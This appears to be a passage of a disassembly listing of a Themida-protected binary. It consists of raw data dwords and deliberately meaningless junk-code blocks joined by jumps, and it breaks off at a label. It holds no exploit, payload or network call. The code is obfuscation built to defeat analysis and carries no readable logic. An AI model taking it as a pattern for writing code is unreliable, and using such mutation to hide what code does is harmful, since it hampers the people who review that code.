		dd 8BEF3166h, 8951242Ch, 4C181E1h, 83000000h, 0C8704C1h
		dd 31665C24h, 3C8B66F8h, 0E1895124h, 5499BA52h,	0BE563FE2h
		dd 1DD76FDh, 0FE9F201h,	80FFFFF8h, 0EFC0C0F7h, 0E9CFFE05h
		dd 0F9BCh, 5E2C14Ah, 0FFB0F2E9h, 4C483FFh, 1D1EE9h, 81E68900h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 4BF243Ch, 1000000h
		dd 243C8BFBh, 5204C483h, 4BAh, 5AD30100h, 8B241C87h, 4292424h
		dd 0E4E99C24h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59386F:				; CODE XREF: Themida_:005960AEj
		xor	ebp, 1CE24E63h
		sub	eax, 597C635Eh
		jmp	loc_5997A1
; ---------------------------------------------------------------------------


loc_59387F:				; CODE XREF: Themida_:00593705j
		mov	ecx, [esp]
		add	esp, 4
		shr	dh, 4
		and	dh, 63h
		shr	dh, 2
		inc	dh
		jmp	loc_599386
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FFE355E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59389D:				; CODE XREF: Themida_:0059ED66j
		push	edx
		push	ebx
		push	dx
		mov	dl, 0B1h
		jmp	loc_592DA5
; ---------------------------------------------------------------------------
		dd 4C681h, 60E90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5938B3:				; CODE XREF: Themida_:00597751j
		pop	ebp
		add	ebx, eax
		pop	eax
		pop	ecx
		push	5E1Fh
		mov	[esp], ecx
		jmp	loc_59972B
; ---------------------------------------------------------------------------
		db 9, 0FAh, 5Fh
		dd 4FC6BD55h, 0C58147B5h, 0EFF5D802h, 26C7E9h, 0E9E95300h
		dd 8100006Ch, 28B02404h, 0C8B2515h, 9792E924h, 24890000h
		dd 4BF5724h, 1000000h, 5F04247Ch, 0CCC2E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593902:				; CODE XREF: Themida_:0059C402j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A2854
; ---------------------------------------------------------------------------


loc_593915:				; CODE XREF: Themida_:005A122Bj
		and	ecx, 37266739h
		sub	ecx, 2CAE2B7Ah
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59A515
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0Ch
aTSL		db 'tº`é',0Bh,'‹',0
		align 4
		dd 6E05F829h, 517D6A6Bh, 27106853h, 0D15B097Bh,	9BC381EBh
		dd 893A179Dh, 241C8BD9h, 4C481h, 0E9570000h, 0FFFFCE01h
dword_59395C	dd 0FF2434FFh, 48B2434h		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A09B5
; ---------------------------------------------------------------------------


loc_593973:				; CODE XREF: Themida_:00596453j
		or	eax, edx
		jmp	loc_5972D1
; ---------------------------------------------------------------------------
aISY		db '‰Þé%Y',0
		dd 81BD5500h, 4D5E3C57h, 2370C581h, 0EA29067Eh,	9A59E9h
		dd 0D8E95C00h, 89000009h, 0D63158C2h, 4EC815Ah,	89000000h
		dd 5B56241Ch, 0D825E9h,	0E9485B00h, 0FFFFF426h,	26EEC181h
		dd 0E981553Ah, 0C69A2DEh, 5159CF21h, 7DEEBB53h,	0D9891AFAh
		dd 8BCF215Bh, 0FFE9240Ch, 87FFFFBEh, 7E5C1CDh, 25A2C581h
		dd 0CD81045Ah, 37B475D6h, 1E0BE9h, 88E28100h, 5727C52Eh
		dd 5F13BFh, 258CE946h, 0EB830000h, 241C8704h, 0FFF557E9h
		dd 240C87FFh, 0EC834959h, 24348904h, 0D24F7FBEh, 0AC56E944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593A22:				; CODE XREF: Themida_:00594FF9j
		pop	ebx
		mov	eax, [esp]
		push	ebx
		jmp	loc_596BFC
; ---------------------------------------------------------------------------
		dd 0B8E9F901h, 4D0000CCh, 0ED30ED81h, 0EE89F767h, 5EF1015Dh
		dd 5104E983h, 42474FFh,	0F07CE9h, 4D35C00h, 0FCE99C24h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593A57:				; CODE XREF: Themida_:0059800Dj
		pop	esi
		add	esi, 94512D4h
		jmp	loc_597D7D
; ---------------------------------------------------------------------------


loc_593A63:				; CODE XREF: Themida_:0059E68Cj
		sub	edx, 4
		jmp	loc_59ABB9
; ---------------------------------------------------------------------------
aSjn		db '\éJN',0
		align 4
		dd 5324048Fh, 7C71B951h, 93BB7F11h, 180EE83h, 240C8BCBh
		dd 4C481h, 7E90000h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_593A93:				; CODE XREF: Themida_:0059D207j
		dec	edx
		neg	edx
		add	edx, 5A4B525Ch
		jmp	loc_598005
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B9240C89h, 24190CB6h, 5603E1C1h, 4C7CEBBEh,	73F6814Dh
		dd 81714050h, 0C0341EE9h, 81F12968h, 0C0341EC1h, 0EC835E68h
		dd 241C8904h, 0E904EC83h, 0FFFFAE54h, 565C68h, 24248900h
		dd 4240483h, 0BAFAE9h, 5EF58900h, 0E9EF015Fh, 0FFFFF35Eh
		dd 0E959CD01h, 0FFFFAD66h, 1C5AB951h, 0D1F70E64h, 23AC181h
		dd 0F0E94186h, 10000F3h, 0B95159CFh, 4,	8759CF29h, 248B243Ch
		dd 243C8924h, 47AE6853h, 0C15B286Ah, 0BD5506EBh, 4C3A078Dh
		dd 0FFD753E9h, 4C281FFh, 83000000h, 148704EAh, 1C895C24h
		dd 81E38924h, 4ECh, 0EC58E900h,	815AFFFFh, 4C4h, 51C96800h
		dd 34890000h, 0CC7EE924h, 1C890000h, 0E4E95524h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593B73:				; CODE XREF: Themida_:00591E48j
		mov	ebx, 26CA0765h
		jmp	loc_59ABAD
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0CFh
		dd 4C78159h, 57000000h,	42474FFh, 24048F5Fh, 5724248Bh
		dd 5126E9h, 243C3100h, 8B243C33h, 24D32424h, 0A8E99C24h
		dd 81FFFFA7h, 1520F1CDh, 60FBE92Fh, 148B0000h, 0E2895224h
		dd 4C281h, 0ADE90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593BC7:				; CODE XREF: Themida_:00590CE1j
		mov	[esp], edi
		mov	edi, 781C6A36h
		sub	ecx, 4E1715E9h
		add	ecx, edi
		push	ebx
		mov	ebx, 4E1715E9h
		add	ecx, ebx
		pop	ebx
		pop	edi
		jmp	loc_59F71A
; ---------------------------------------------------------------------------


loc_593BE6:				; CODE XREF: Themida_:00596669j
		pop	esp
		push	esi
		mov	esi, 3A8E4079h
		add	eax, esi
		pop	esi
		sub	eax, 659523DBh
		jmp	loc_59BC44
; ---------------------------------------------------------------------------


loc_593BFA:				; CODE XREF: Themida_:005A010Fj
		xchg	ebp, [esp]
		jmp	loc_599338
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 34895C24h, 243C3124h, 31243C33h, 0D7F7243Ch,	5E243C87h
		dd 58243487h, 549B68h, 240C8900h, 168h,	2434FF00h, 0E92434FFh
		dd 0D021h, 8E2055Dh, 0C80153D2h, 0D208E22Dh, 4875953h
		dd 24248B24h, 0E9240431h, 0FFFFA703h, 27135635h, 78652D2Ah
		dd 0C3012DF8h, 0A7A8E958h, 0B468FFFFh, 5E29542Eh, 468AF681h
		dd 0F3891D6Fh, 8BD9295Eh, 0BCE9241Ch, 5E000031h, 0E69CE9h
		dd 2434FF00h, 0E924048Bh, 0D1Bh, 0BA77E95Ah, 0E953FFFFh
		dd 8669h, 53768h, 63C76800h, 24890000h,	0D879E924h, 0EB290000h
		dd 0EEED815Dh, 149825Dh, 0EEC581DDh, 5B49825Dh,	8F0AE9h
		dd 31ADBF00h, 0E7C174DEh, 14E94F02h, 8B000027h,	0C4812414h
		dd 4, 8B24048Fh, 67E92424h, 8100004Eh, 0F877F8F3h, 1B2DE977h
		dd 148B0000h, 4C48124h,	68000000h, 76AFh, 0BD242C89h, 2ED91D7Ch
		dd 338CED81h, 0CD8121CDh, 0C4F3AF3h, 56DCF581h,	0DDF752CFh
		dd 0FFC87AE9h, 243C33FFh, 0E9243C31h, 81F4h, 42474FFh
		dd 24048F5Dh, 6824248Bh, 18DAh,	68240C89h, 70A2h, 0FFD3FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593D45:				; CODE XREF: Themida_:005A0D04j
		pop	esp
		inc	ebx
		not	ebx
		or	ebx, 220748Bh
		jmp	loc_598838
; ---------------------------------------------------------------------------
		dd 2EA36856h, 348B53DDh, 4C48324h, 685EBB53h, 0E38115BDh
		dd 158356F1h, 0C103E3C1h, 0F38103E3h, 5EBE0472h, 0FFD7A8E9h
		dd 0E9EA31FFh, 7839h, 5524248Bh, 468h, 76E95D00h, 5BFFFFBDh
		dd 8904EC83h, 71BE2434h, 0C11B9334h, 0C14604EEh, 0B85007EEh
		dd 0FFFFFFFFh, 48BC601h, 4C48324h, 1C681h, 0C6810000h
		dd 4CC9A50Ah, 6EE9F029h, 830000C4h, 0C8904ECh, 5EAAB924h
		dd 0D9F7591Bh, 0AED9F181h, 0CE01840Bh, 5EF70159h, 4EF81h
		dd 0E90000h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_593DEB:				; CODE XREF: Themida_:0059409Fj
		mov	ecx, [esp]
		jmp	loc_599057
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BE5606E2h, 1FA2ACDh, 0D6F7D6F7h, 0CE81D6F7h, 6CB41105h
		dd 0D0E8E94Eh, 0CB01FFFFh, 24048B59h, 8304C483h, 1C8904ECh
		dd 2474FF24h, 48F5B04h,	0D016E924h, 0C4830000h,	5280E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593E32:				; CODE XREF: Themida_:00596D40j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5A1B5D
; ---------------------------------------------------------------------------
aMsM		db '¬é,¬',0             ; DATA XREF: Themida_:0058E1F0o
		dd 1ABA5200h, 89495308h, 0FFBE5AD5h, 81AC8E54h,	5F7239EEh
		dd 81EE2941h, 5F7239C6h, 0C6815D41h, 0E9639BFh,	0D103EEC1h
		dd 5E6C1E6h, 0F681DEF7h, 6929E46Bh, 0E95EF501h,	0FFFFB77Fh
		dd 5C4EDE2Dh, 1E4053Bh,	1C8B09D5h, 4C48124h, 68000000h
		dd 1010h, 68241C89h, 674C4999h,	0D215E95Bh, 0DEF70000h
		dd 8AD0C681h, 0F531D9C3h, 8124348Bh, 4C4h, 75C58100h, 0F7137A38h
		dd 0A16845DDh, 89000034h, 4FE92414h, 8B000055h,	15E9243Ch
		dd 0BF0000C8h, 370301C3h, 5F1E9h, 2434FF00h, 13D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_593EF1:				; CODE XREF: Themida_:005988A1j
		shr	edi, 5
		add	edi, 51682687h
		xor	ecx, edi
		pop	edi
		mov	ebp, ecx
		jmp	loc_59169E
; ---------------------------------------------------------------------------
dword_593F04	dd 24048B66h, 815A5452h, 4C2h, 4B85000h, 0E9000000h, 8C46h
					; DATA XREF: Themida_:0058E0C8o
		dd 54415DBFh, 5FFB3104h, 2514E381h, 0EBC1291Dh,	72C38108h
		dd 29163362h, 0B0D5E9DAh, 0E6C10000h, 0DCBB5306h, 2946AD6Bh
		dd 0E9525BDEh, 0DBFBh, 2B3268h,	241C8900h, 0EBC052B3h
		dd 6EBC007h, 6626E380h,	809CB551h, 0CDFEF8C5h, 0E987ED80h
		dd 63FCh
; ---------------------------------------------------------------------------


loc_593F70:				; CODE XREF: Themida_:005A0C7Ej
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		pop	eax
		pop	ecx
		push	ebp
		push	ecx
		push	13EF38CAh
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 5
		push	edi
		mov	edi, 3CE46E1Bh
		inc	edi
		jmp	loc_598894
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0BCh
		dd 137D562h, 0BCC381EBh, 8B37D562h, 90E9242Ch, 31000090h
		dd 68C831C1h, 1A47h, 55240C89h,	42474FFh, 24048F5Dh, 1268D5F7h
		dd 89000021h, 74FF242Ch, 8F5D0424h, 34FF2404h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A0BC9
; ---------------------------------------------------------------------------
		dd 2404FF66h, 0A349E99Ch, 0DBF7FFFFh, 0EB81E3D1h, 66F61480h
		dd 9021E9h, 81D5F700h, 8504EACDh, 0E5814D4Bh, 7257B0Fh
		dd 93F0ED81h, 0EE018579h, 81D6015Dh, 0AB6E1EEEh, 9FB9517Dh
		dd 56013406h, 2F5796BEh, 4AC68144h, 0E9697407h,	99BCh
		dd 70FCE981h, 0D9012342h, 70FCC181h, 1012342h, 81240C8Bh
		dd 4C4h, 2434FF00h, 0F00FE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594072:				; CODE XREF: Themida_:00599232j
		mov	esi, ebp
		jmp	loc_58E7AB
; ---------------------------------------------------------------------------


loc_594079:				; CODE XREF: Themida_:005940ABj
		push	ebx
		mov	ebx, 15C3AC14h
		jmp	loc_59CC9B
; ---------------------------------------------------------------------------
		dd 0C95DFCB8h, 0A4E95538h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59408F:				; CODE XREF: Themida_:0059C040j
		add	ch, bl
		pop	ebx
		not	ch
		or	ch, 0Fh
		shr	ch, 5
		sub	ch, 30h
		sub	al, ch
		jmp	loc_593DEB
; ---------------------------------------------------------------------------


loc_5940A4:				; CODE XREF: Themida_:0058F1B8j
		mov	eax, 2B875830h
		shr	eax, 1
		jmp	loc_594079
; ---------------------------------------------------------------------------


loc_5940B0:				; CODE XREF: Themida_:0059F160j
		mov	ebp, 12DE4E29h
		xor	ebp, 7F696BCAh
		add	ebp, 9543598Dh
		sub	ebp, 278158F3h
		shl	ebp, 7
		xor	ebp, 3EB690Ah
		xchg	ecx, ebp
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, ebp
		inc	ebp
		xor	ebp, 4087A872h
		jmp	loc_590BE9
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0DF3CE955h, 1C89FFFFh, 575B5424h, 4BFh, 5FFB0100h, 2C381h
		dd 1C870000h, 38685C24h, 89000049h, 6B62414h, 0E9E4B151h
		dd 79A0h, 0E903EEC1h, 23DEh, 0AC2CA068h, 7D16E913h, 4870000h
		dd 0C895C24h, 0C8B5424h, 0E7895724h, 0FFB724E9h
		db 0FFh
byte_59413D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0058E2F0o
		dd 0E9545724h, 0FFFFA821h, 53FF685Ch, 1C890000h, 7B036824h
		dd 0C890000h, 7AD06824h, 81595C5Fh, 4F1692E9h, 59CB894Fh
		dd 8103EBC1h, 0A20C85EBh, 10E4E901h, 0E9810000h, 4, 5C240C87h
		dd 0B9240C89h, 36781528h, 488B68h, 243C8900h, 0B8320968h
		dd 0EF815F3Dh, 449C6CD2h, 281568h, 240C8900h, 8934E9h
		db 0
byte_5941A9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0058E248o
		dd 4EC8124h, 0E9000000h, 0FFFFA9C6h, 0C8EE815Ah, 0E90F4499h
		dd 0C8D6h, 2577F681h, 0C2817C89h, 70E17412h, 0EA81F201h
		dd 70E17412h, 0AF40E9h,	96F58100h, 0E96A3B36h, 0FFFFCDBCh
		dd 3EEE815Ah, 13D16D7h,	0B020E9F0h, 0F281FFFFh,	92561A10h
		dd 815AD189h, 1C1h, 10E18100h, 0E9177066h, 0A899h, 0D5F7D5F7h
		dd 0F8C8ED81h, 4EE99F71h, 0BA0000ADh, 58A80E18h, 1C85E9h
		dd 0A8EA8100h, 0E9EBD9BFh, 9034h, 1A153668h, 1710E96Ch
		dd 685C0000h, 2BB7h, 89240489h,	405E0h,	4050000h, 87000000h
		dd 0E95C2404h, 9D7h, 0C381E389h, 4, 8704EB83h, 248B241Ch
		dd 24348924h, 47406855h, 95E90AB2h, 0BE000013h,	83C2D69h
		dd 0BE917B8h, 0E9F031B4h, 90F7h
dword_59428C	dd 241CF766h, 0A0BDE99Ch, 8A2DFFFFh, 317D351Eh,	31C231D0h
					; DATA XREF: Themida_:0058E128o
		dd 0D2F74AD0h, 5F780D92h, 0E9401D45h, 0C14Dh, 4BB53h, 0D9010000h
		dd 240C875Bh, 24048F5Ch, 0E924248Bh, 3FFBh, 5E08950h, 4
		dd 405h, 24048700h, 4C1815Ch, 83000000h, 0C8704E9h, 24248B24h
		dd 68243C89h, 7F5Ch, 68242C89h,	67776329h, 5D2434FFh, 0E904C483h
		dd 63FFh, 4244481h, 22C377E4h, 4244481h, 65A57404h, 4246C81h
		dd 0D275E55h, 4455BB53h, 5C0132A4h, 5D5B0824h, 8324048Bh
		dd 0F76804C4h, 8900001Fh, 0DEBA2414h, 0E90F6D51h, 0FFFFEB95h
		dd 4EC8350h, 83242489h,	58042404h, 405h, 4E88300h, 31240433h
		dd 4332404h, 0C895C24h,	4EC8124h, 89000000h, 4832424h
		dd 66E90424h, 83FFFFDAh, 0FF5204C4h, 5A042474h,	5C24048Fh
		dd 24043166h, 9FC9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59438A:				; CODE XREF: Themida_:0059369Dj
		push	4718h
		mov	[esp], ebp
		push	1E33h
		mov	[esp], esi
		mov	esi, 1A45F4Eh
		push	ebx
		mov	ebx, 3EDF5F86h
		neg	ebx
		inc	ebx
		xor	ebx, 12300F0Ch
		not	ebx
		xor	ebx, 2D4B0FC2h
		add	esi, 665258B3h
		sub	esi, ebx
		sub	esi, 665258B3h
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_598C78
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Ah, 8904EC83h,	65B7241Ch, 4EC81h, 4890000h, 0E9D2B424h
		dd 9183h, 0C689E889h, 0CDC3E958h, 0C781FFFFh, 317E74FDh
		dd 90E9D7F7h, 5F000034h, 14CBC281h, 77E90FEAh, 8000006Dh
		dd 5E9EEEDh, 500009Dh, 0EE23E87h, 0E18EE9h, 396EB900h
		dd 0CA01067Dh, 4EC8159h, 89000000h, 0D9E9243Ch,	83000016h
		dd 0CF81FFC7h, 3370236Ch, 348DE9h
		db 0
; ---------------------------------------------------------------------------


loc_59444D:				; CODE XREF: Themida_:005A1BC7j
		mov	edx, 1C44343Ah
		jmp	loc_594C7C
; ---------------------------------------------------------------------------


loc_594457:				; CODE XREF: Themida_:0059D035j
		xor	dl, cl
		neg	cl
		jmp	loc_59DF87
; ---------------------------------------------------------------------------
aSP		db '^éÅP',0
		align 2
		dw 0CB81h
		dd 47535981h, 1C2EB81h,	55E9660Ah, 44h,	0E99C2404h, 0FFFF9ED3h
		dd 0F22CD828h, 0E959665Bh, 0FFFFFAC0h, 4C481h, 11E90000h
		dd 1000087h, 0A449E9F0h, 0EB810000h, 96D08B9Ch,	49E9DE01h
		dd 89FFFFDDh, 0F3E957F8h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5944B3:				; CODE XREF: Themida_:0059208Cj
		and	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_59F14F
; ---------------------------------------------------------------------------
		db 68h
		dd 1, 400685Fh,	3C890000h, 24048124h, 56254B41h, 501DE958h
		dd 0FB090000h, 81243C8Bh, 4C4h,	0FFB4E900h, 0C381FFFFh
		dd 4, 8B241C87h, 0C5832424h, 242C8704h,	8124248Bh, 672EBF7h
		dd 19C7812Bh, 81157F77h, 2647EAEFh, 7E64E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594516:				; CODE XREF: Themida_:005A203Dj
		pop	ecx
		jmp	loc_59CF9C
; ---------------------------------------------------------------------------
aWs8		db '\Wé-8',0
		dw 8B00h
		dd 0C4812404h, 4, 86685652h, 5E35A934h,	3484EE81h, 0F28935A9h
		dd 8324348Bh, 0D5E904C4h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_594547:				; CODE XREF: Themida_:0059C675j
		pop	edi
		push	ebx
		mov	ebx, 317B6999h
		xor	ebx, 3D44AA1h
		jmp	loc_5A195F
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BD242C89h, 69E24734h, 81D5F74Dh, 0D268E0E5h, 0F0C5812Fh
		dd 8153B03Dh, 4ECh, 242C8900h, 7F3CE9h,	55D6F700h, 114F6ABDh
		dd 5DEE291Bh, 1CA5E957h, 0E8210000h, 1AFA055Dh,	0F32D3190h
		dd 576F7235h, 0AB25B0BFh, 7D89E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5945AA:				; CODE XREF: Themida_:0059CF53j
		pop	ecx
		jmp	loc_59D59D
; ---------------------------------------------------------------------------
		dd 50241489h, 0E951EFB0h, 0AED5h, 0F805E95Dh, 0D501FFFFh
		dd 71BE9h, 325B6800h, 38E96FD5h, 5E000073h, 1756E9h, 2414F700h
		dd 2FEB815Bh, 0E976ED3Dh, 0A596h, 405E089h, 83000000h
		dd 48704C0h, 0C4835C24h, 6E7AE904h, 24B50000h, 0F604EDC0h
		dd 1DC580D5h, 6603E5C0h, 2820B652h, 0EC13E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594616:				; CODE XREF: Themida_:005A1D58j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edi
		push	4
		pop	edi
		jmp	loc_59E26E
; ---------------------------------------------------------------------------
		db 0E9h, 1Dh, 9Dh
		dd 18E9FFFFh
		db 9Dh,	2 dup(0FFh)
byte_59463B	db 0FFh			; DATA XREF: Themida_:0058E17Co
		dd 53582434h, 0EC81E389h, 4, 0BD242C89h, 41841A38h, 0A924E9h
		dd 0C7815E00h, 4, 4EC81h, 85E90000h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594667:				; CODE XREF: Themida_:0058FD54j
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	6EF4h
		mov	[esp], edx
		mov	dh, 1Bh
		push	eax
		mov	al, 9
		dec	al
		shr	al, 4
		dec	al
		add	al, 9Bh
		sub	dh, al
		pop	eax
		or	dh, 50h
		xor	dh, 7Ch
		sub	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	33E0h
		mov	[esp], edx
		jmp	loc_5909ED
; ---------------------------------------------------------------------------
		dw 16B9h
		dd 8114F868h, 88556FEFh, 81CF2965h, 88556FC7h, 0B8505965h
		dd 24672D72h, 0B61DE953h, 0E7C1FFFFh, 0CCC78107h, 89B1E09Ch
		dd 0C3015FF8h, 0E924048Bh, 0CECBh, 50358BB8h, 4EC8114h
		dd 89000000h, 10E92434h, 1000030h, 0F055FF8h, 0FF611058h
		dd 34FF2434h, 0A1E95F24h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59470F:				; CODE XREF: Themida_:0058ED14j
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 260D05DFh
		add	eax, 0D9F2FA25h
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59BD9B
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 8353E589h, 75E904ECh, 3300001Eh, 0E95C2414h,	0FFFFF8B4h
		dd 89241C89h, 3EE956D3h, 0C0FFFFE5h, 0E58008EDh, 0F6DDF6C3h
		dd 0B35366D5h, 0C0B35322h, 0A70EE9h, 2C875800h,	4895C24h
		dd 7F0B824h, 47892D18h,	0F4FFE924h, 5C29FFFFh, 1C8B0424h
		dd 4C48124h, 0E9000000h, 6868h
; ---------------------------------------------------------------------------


loc_594794:				; CODE XREF: Themida_:0059699Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_597D43
; ---------------------------------------------------------------------------
aFsO		db '±Fé!®',0
		align 4
		dd 0AD657BB9h, 0B64CE93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5947AE:				; CODE XREF: Themida_:0059E505j
		pop	esi
		add	edi, edx
		push	ebp
		mov	ebp, 48996187h
		xor	ebp, 605B3C29h
		jmp	loc_59E04A
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4ECh, 0EE7E900h, 0B70F0000h,	0F86866C0h, 489666Fh, 9B75E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5947DE:				; CODE XREF: Themida_:005A200Dj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59E652
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0CC0Ch
		align 4
		dd 68241489h, 361B7606h, 8324148Bh, 0C28104C4h,	0FCCB0055h
		dd 24348152h, 18F47942h, 94EAE9h, 81DEF700h, 686290C6h
		dd 5EF08947h, 0FFADC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594825:				; CODE XREF: Themida_:005980F5j
		shl	eax, 7
		add	eax, 199BBD4Dh
		or	ebx, eax
		pop	eax
		jmp	loc_59E84B
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FFB7D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59483D:				; CODE XREF: Themida_:005A3168j
		mov	ebp, 4
		jmp	loc_59492C
; ---------------------------------------------------------------------------


loc_594847:				; CODE XREF: Themida_:0059A29Cj
		mov	ecx, eax
		pop	eax
		sub	edi, 780358A6h
		sub	edi, ecx
		add	edi, 780358A6h
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_590DF3
; ---------------------------------------------------------------------------
		dd 0E9240C31h, 54C4h
; ---------------------------------------------------------------------------


loc_594874:				; CODE XREF: Themida_:00598FFBj
		push	dx
		mov	dl, 78h
		add	cl, 0BEh
		add	cl, 0E0h
		add	cl, dl
		sub	cl, 0E0h
		sub	cl, 0BEh
		pop	dx
		neg	cl
		push	dx
		jmp	loc_59BF2A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0F24248Bh, 0E18951C8h, 4C181h, 0E9830000h, 240C8704h
		dd 240C895Ch, 50D868h, 24248900h, 4240481h, 0E9000000h
		dd 0FFFFB617h, 0C15D5E55h, 0C68105E6h, 5CB82EC4h, 77E3EA81h
		dd 0D9E959BAh, 5C000057h, 0FF9A76E9h, 0BCE95DFFh, 89FFFFC5h
		dd 98E958C3h, 0FFFFFFCFh, 0E9042474h, 0FFFFA698h
; ---------------------------------------------------------------------------


loc_5948F4:				; CODE XREF: Themida_:00591AB7j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_59E668
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 5C243C87h, 0D259E9h
		db 0
byte_594915	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E2E4o
aHum		db '$hãm',0
		align 2
aS_4		db 'éê$',0
		dw 5800h
		dd 0E904C483h, 99A6h
; ---------------------------------------------------------------------------


loc_59492C:				; CODE XREF: Themida_:00594842j
		sub	esi, 52F72B4Dh
		add	esi, ebp
		push	67BCh
		mov	[esp], edx
		mov	edx, 15461F50h
		neg	edx
		xor	edx, 0B84ECBFDh
		jmp	loc_59304E
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 49D39C41h, 5F59C829h, 0EB06E950h, 0BE56FFFFh, 20ED4FD0h
		dd 1BFDE681h, 0F6812EB9h, 73736EB7h, 479BC681h,	834E2CFAh
		dd 148904ECh, 2C84BA24h, 0DFE90915h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_594987:				; CODE XREF: Themida_:00592652j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 602F121Ch
		add	esi, 1
		add	esi, 1
		jmp	loc_5A1CD0
; ---------------------------------------------------------------------------
		db 51h
		dd 0C1815954h, 4, 4C181h, 0C870000h, 0BCFAE924h, 815DFFFFh
		dd 0CC0721F5h, 5DEA892Ch, 4EC835Bh, 6129E9h
		db 0
; ---------------------------------------------------------------------------


loc_5949D1:				; CODE XREF: Themida_:005A2808j
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59985E
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 4
		dd 4C48124h, 8B000000h,	0E955240Ch, 6D83h, 4BD555Fh, 0E9000000h
		dd 968Ch, 0E3E9815Dh, 14F0526h,	0E3C181D9h, 0E94F0526h
		dd 79B9h, 0B4E9815Dh, 815DA276h, 3E067DF1h, 34815161h
		dd 59087724h, 24048B00h, 3504C483h, 590877h, 53240C8Bh
		dd 0C381E389h, 4, 0FFE2BEE9h, 4EC81FFh,	89000000h, 0C4E9241Ch
		dd 5C000090h, 8704C183h, 0C15C240Ch, 6F680AE9h,	8900007Eh
		dd 0EC81241Ch, 4, 0E9241C89h, 0FFFFF6ACh
; ---------------------------------------------------------------------------


loc_594A74:				; CODE XREF: Themida_:00596639j
